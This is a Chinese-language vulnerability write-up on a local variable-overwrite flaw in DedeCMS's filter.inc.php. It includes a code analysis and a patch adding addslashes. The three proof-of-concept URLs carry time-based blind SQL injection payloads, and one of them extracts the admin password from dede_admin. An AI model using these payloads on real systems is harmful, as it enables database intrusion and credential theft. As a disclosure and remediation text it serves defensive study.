dedecms /include/filter.inc.php Local Variable Overriding

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1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

filter.inc.php这个文件在系统配置文件之后，里面有foreach循环创建变量，所以可以覆盖系统变量

1. 在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤 
xxx.php?site=LittleHann’s blog
2. 经过common.inc.php
$LittleHann = LittleHann’s blog
3. 经过filter.inc.php
$LittleHann = LittleHann’s blog
//重新获得闭合攻击性

2. 漏洞触发条件

1. 程序不允许创建cfg_开头的变量，依靠这样来防御系统变量未初始化漏洞
2. common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞，但是有的系统变量已经初始化了，而且是在common.inc.php文件foreach循环注册变量之后，就是说我们能创建，但是没法覆盖
3. 但是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量 
4. 在/member目录的大部分文件都包含这么一个文件/member/config.php，这个文件的前两句就是
require_once(dirname(__FILE__).’/../include/common.inc.php’);
require_once(DEDEINC.’/filter.inc.php’);
//就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量 

0x1: POC1

http://127.0.0.1/dedecms5.5/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`

0x2: POC2

http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`

0x3: POC3

http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`

Relevant Link:

http://www.0x50sec.org/0day-exp/2011/08/id/1139/
http://www.wooyun.org/bugs/wooyun-2013-043674

 
3. 漏洞影响范围
4. 漏洞代码分析

/include/filter.inc.php

function _FilterAll($fk,&$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && eregi($cfg_notallowstr,$svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = eregi_replace($cfg_replacestr,"***",$svar);
        }
    }
    //未对外部提交的数据进行有效转义，重新造成本地变量注入
    return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}

Relevant Link:

http://zone.wooyun.org/content/1883
http://www.jybase.net/wangzhananquan/20120412823_8.html

5. 防御方法

/include/filter.inc.php

function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
        }
    }
    /* 进行有效转义 */
    /**/
    return addslashes($svar);
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}

6. 攻防思考

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